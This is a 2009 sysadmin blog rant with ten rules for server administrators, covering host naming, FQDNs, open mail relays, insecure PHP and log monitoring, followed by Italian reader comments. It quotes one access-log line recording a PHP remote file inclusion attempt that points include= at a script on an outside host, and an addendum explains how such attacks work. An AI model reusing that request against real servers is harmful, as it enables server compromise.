Comments & Opinions |
Home Page | Comments | Articles | Faq | Documents | Search | Archive | Tales from the Machine Room | Contribute | Set language to:en it | Login/Register
After having cursed for long time looking at servers that looks like they have been installed by Attila the Hun and after having seen the too many problems that phpproblammer distribute with too little concern, I've decided to put together these little rules. Probably I'll expand this into one (or more) real article, but this morning, after seeing something like this
200.40.86.142 - - [22/Oct/2009:18:29:21 +0200] "GET /page/tools/phpsecurityadmin/include=http://www.thelampshade.com/store//images/attributes/id.txt%0D??
for the bazillionth time, I had enough.
Obviously I've sent a couple of mails to the admins of that site, but I'm not holding my breath about it.
And they even called it 'phpsecurityadmin'! PHPieceofshit I say!
So, here are my ten little rules, let's call them the "rules of the non-completely-moron-sysadmin".
And before you ask, "localhost", "john", "www" and "c3p0" ARE NOT decent names. Especially the first and the last. Do you think you are funny?
Here we could go on with a very long discussion, giving to each machine the same name as the user make sense only if they are not used by multiple peoples, and using 'coded' names like 'RKZ90876-2' has the obvious disadvantage that nobody knows which machine is which.
There is already too much spam around the world, why do you want to add even more?
And if you don't know what an FQDN is, maybe you should NOT manage a mail server. And before you ask, 'localhost.localdomain' ain't a valid fqdn!
This shouldn't require an explanation, but apparently there is a lot of peoples that
like to provide this kind of "functionality" in their phpieceofshit
web-application, then your mail server goes into every black list and you ask yourself
why...
Even this shouldn't require an explanation, but is way too much time that I see way too many entries in my logs like the one above. And this bring us to the next rule...
If you see 10.000 requests for a .txt or .asp file that shouldn't be there get worried, the same if you see 3000 mails in the queue. And if you can't understand the fscking logs maybe you shouldn't administer a server!
That are specified in the RFC! And "correctly" doesn't mean route them to /dev/null!
That I am sick and tired of seeing idiots trying to execute/read shit from web sites whose admins are one step below nematods
And last but not least...
Do not click on 'delete' and do not answer "fsck if I know"!
WARNING: do not send any comment with "do you have a problem with Php" or "php is easy and so...". I DON'T GIVE A FLYING FUCK! Don't know why but out of 20 shit applications, 19 are made in php, so I consider ALL OF THEM crap. I'm sure that somewhere, well hidden, there are good php programmers that don't distribute around crap, but I prefer the "guantanamo bay" approach: everything is crap until proved. And if you're curious: the 20th applicrappation is our java interface.
Addendum
Lots of peoples have mailed/asked about that log fragment I posted above, and it looks like there are a lot of confused minds around. So let's shed some light on the issue.
That piece of log reports what is usually called a remote include vulnerability, the idea is pretty simple: have a specific script executed on a server to get informations and/or access to the server itself.
In some cases the cracker can simply upload the script on the machine abusing some services that is available or functionalities of web applications that are not really secure. In some other case (like this one) the trick is to abuse of a function that PHP uses a lot: the ability to include a script into another script and have it executed.
That's fine if the programmer keeps an eye of what is included and from where, but sometimes the programmer decide to "trust" the system and allow the include script to be specified on the URL. And in some cases he even allow a URL to be specified as the script to execute.
So the game is: put your script on a server somewhere, the trick the system to get it from your server and execute it on the vulnerable server. Of course what the script can do once executed depends on the specific rights and ability of the web server, but something makes me think that if the owner of a system allow some piece of junk to run without control, he won't have any problem in giving his web server all the rights in the world.
Davide Bianchi
26/10/2009 15:59
Comments are added when and more important if I have the time to review them and after removing Spam, Crap, Phishing and the like. So don't hold your breath. And if your comment doesn't appear, is probably becuase it wasn't worth it.
Parole sante By Eremita Solitario posted 23/10/2009 09:52
@ Eremita Solitario By Anonymous coward posted 23/10/2009 10:40
Sinceramente credo che sia giusto che per configurare un server bastino un paio di click sulle qualche checkbox. (un secure by default del openBSD). Se cio' implica che non si possa abilitare PHP, mi pare un problema di PHP, dei programmi PHP (e dei programmatori), mica della configurazione server in due click.
Ma dubito si possa arrivare a questi livelli: e' piu' facile (e conveniente) trovare sysadmins che mettano i cerotti ad un sistema che trovare buoni programmatori web. -- Anonymous coward
@ Eremita Solitario By Emanuele Graziano posted 27/10/2009 15:22
>
>
in effetti con exchange bastano due click ( almeno credo ), il resto della merda che c'è dentro la crea di default :/ -- Emanuele Graziano
ok non comincio By argaar posted 23/10/2009 10:24
La differenza... By Davide Inglima posted 23/10/2009 11:03
... ed 8000 euro e 80 ore/uomo ...
... al giorno. -- http://limacat.blogspot.com
Nomi By Luigi posted 23/10/2009 13:05
Però parli bene e razzoli male. Visto che il TUO server si chiama "Gort" cosa intendi per nomi decenti ? -- Luigi
@ Luigi By Davide Bianchi posted 23/10/2009 13:12
il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.
-- Davide Bianchi
@ Davide Bianchi By Luigi posted 23/10/2009 14:37
>
> il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.
>
>
In questo caso hai perfettamente ragione, si ritorna sempre al punto 4 ... FQDN -- Luigi
che perle... By Luca Benelli posted 23/10/2009 13:41
Grazie per il sorriso settimanale
--
Luca Benelli
@ Luca Benelli By R. Damon posted 24/10/2009 21:05
Mille grazie ai wizard clicca-clicca, ai libriccini "for dummies" e a quelli che "faccio tutto io, tanto e' tutto facile". A volte mi sorprendo a pensare che il solo vero modo sensato di vendicarci sarebbe cambiar mestiere noi e lasciare TUTTE le aziende in mano a gente del genere.
> e mi spiego benissimo perché sono a casa a fare un ca%%o... [...]
Ho notato che sono in tanti. Non ho questo dispiacere, al momento, ma ogni volta che mi trovo a nasellare nel mercato del lavoro (in Italia) scopro una situazione sempre piu' orrenda. In troppi, datori di lavoro, committenti, chiamateli come volete, offrono lavori con l'intenzione ormai esplicita che chi li accetta DEBBA essere il classico ragazzino che vuole alzare qualche soldo facendo qualsiasi cosa e in qualsiasi quantita'; non certo il professionista che ci vorrebbe campare e magari metter su famiglia. Tutto il mondo sembra correre in quella disastrata direzione, anche se l'informatica e' uno di quei rami nei quali si producono le situazioni del tipo piu' aberrante e l'Italia una delle nazioni dove si producono piu' facilmente. Con questo intendo dire: peggio di noi, ormai, soltanto i friggitori di patatine dei fast-food; almeno, nei paesi cosiddetti progrediti. -- R. Damon
M _ _ _ _ IA By Mauro Pietrobelli posted 23/10/2009 14:33
Ti auguro un WE sereno e soprattutto che porti un pò di sale in zucca a quegli (brainless) Admin....
Ciao D. -- Mamo
postmaster By Aleritty posted 23/10/2009 15:47
Ehi, guarda che postmaster sei TU!
http://www.soft-land.org/storie/09/story32
Però ora hai rivelato la tua politica nel gestirli!
--
Aleritty
the good boy By THE Anonymous coward posted 24/10/2009 10:06
(register_global/allow_url_fopen/open_basedir/SElinux as well..)
Any fucking technology, if managed by retarded it's useless... -- THE Anonymous coward
@ THE Anonymous coward By Davide Bianchi posted 24/10/2009 11:21
Unfortunately it seems that some technology is easier to mismanage than others.
-- Davide Bianchi
Ok D. By Il codardo senza nome posted 24/10/2009 12:08
.. sei stato più che convincente
--
Il codardo senza nome
Mi sa che sono un caprone.. By Rick posted 24/10/2009 17:16
Posso attendermi lumi in merito?
Per quello che riguarda le mail obbligatorie, non mi pareva che root@ lo fosse, confermo invece le altre.
Ric -- Rick
@ Rick By beppe posted 24/10/2009 19:42
>
> Posso attendermi lumi in merito?
aiutino: all'interno della DIRECTORY (huau, e' da un po' che non le chiamo piu' col loro nome ) che suppongo venga richiamata dall'include del comando loggato ci sono dei file di testo che, suppongo, siano apparsi all'insaputa del "sysadmin" di turno.... Tali file,chissa' perche', iniziano con: #!/usr/bin/perl.
grande davide! ti seguo da molto e molto tempo e quando, purtroppo sono rare le volte, ho qualcosa da condividere, mi loggo volentieri.continua cosi'!
p.s.: aiutino bis: in realta' mancano dei pezzi dalla riga loggata, esattamente 2 lettere -- beppe
e se e' un webserver... By R.Damon posted 24/10/2009 20:48
E se e' un webserver e manda e-mail automatiche si presentera' comunque con un FQDN. In ogni caso, scrivera' nel From del messaggio E nell'"envelope" della sessione SMTP un indirizzo di posta decente, cioe' con un dominio valido dentro o perlomeno con al suo posto un hostname che abbia una risoluzione DNS nel mondo e non soltanto nella tua LAN privata del menga. >B-( -- R.Damon
scrib scrib By Simone posted 26/10/2009 09:14
*scrib scrib*
ricordarsi di cambiare il nome da grim a qualcosa di serio (ovviamente grim.xxxxxxx.it ... fiuu un lart in meno)
non oso pensare a che porcherie ho fatto su apache... è la seconda volta che ci metto le mani... non lartatemi! -- - Simone
Vediamo se ho capito che ha quel log... By Sabrina posted 26/10/2009 15:03
Se ho capito bene quella è una request per un file che include un file di testo che si trova su un server con un FQDN diverso? -- Sabrina
@ Sabrina By Davide Bianchi posted 26/10/2009 16:19
Vedi 'addendum' alla fine del commento. -- Davide Bianchi
Anche in questo caso l'errore rimane tra sedia e tastiera By Gama posted 27/10/2009 08:48
Come quasi sempre pero' i problemi non sono dati dagli strumenti ma da coloro che li usano, se non ricordo male infatti la definizione di CL, UL, ecc... non implica in maniera assoluta che il soggetto in questione sia un "utonto" ma comprende anche tanti wannabe e sedicenti esperti che spesso non imparano nemmeno dai propri errori.
Gama -- Tutti abbiamo bisogno di credere in qualcosa... Io credo che mi faro' un'altra birra!
@ Gama By Davide Bianchi posted 27/10/2009 09:05
Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".
-- Davide Bianchi
@ Davide Bianchi By Adriano posted 27/10/2009 13:46
>
> Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".
>
La tua analogia si perde velocemente: non togli il martello a un apprendista per forzarlo a imparare a usare il cacciavite, nè gli togli la sega per fargli usare lo scalpello. Lo mandi a fanculo e basta. La nostra professione, ahimè, è ancora troppo giovane per fare questo facilmente. -- Saludos
Adriano
La sicurezza e` sempre l'ultimo dei problemi By Kurgan posted 27/10/2009 10:38
Il problema e` che per loro (per i loro programmatori) le priorita` sono:
- farla bella
- farla in fretta
- farla che funzioni
- farla con le funzioni inutili che vuole il cliente, cosi` il cliente paga
- incassare i soldi dal cliente
- andare in vacanza
- altre 1000 cose
- smacchiare i leopardi
- lucidare le tartarughe
- chiedersi se l'applicazione sia sufficientemente sicura o no
Cosi` mi capita di sentirmi chiedere cose del tipo "senti, possiamo rendere mysql accessibile da fuori?" oppure "senti, perche` non posso includere pagine da un altro sito?" oppure "ehi, ma come mai i miei script non possono accedere a feisbuc?"
-- Il massimo danno con il minimo sforzo
@ Kurgan By Alberto posted 27/10/2009 22:50
uploadare? By Anonymous coward posted 01/11/2009 23:44
This site is made by me with blood, sweat and gunpowder, if you want to republish or redistribute any part of it, please drop me (or the author of the article if is not me) a mail.
This site was composed with VIM, now is composed with VIM and the (in)famous CMS FdT.
This site isn't optimized for vision with any specific browser, nor
it requires special fonts or resolution.
You're free to see it as you wish.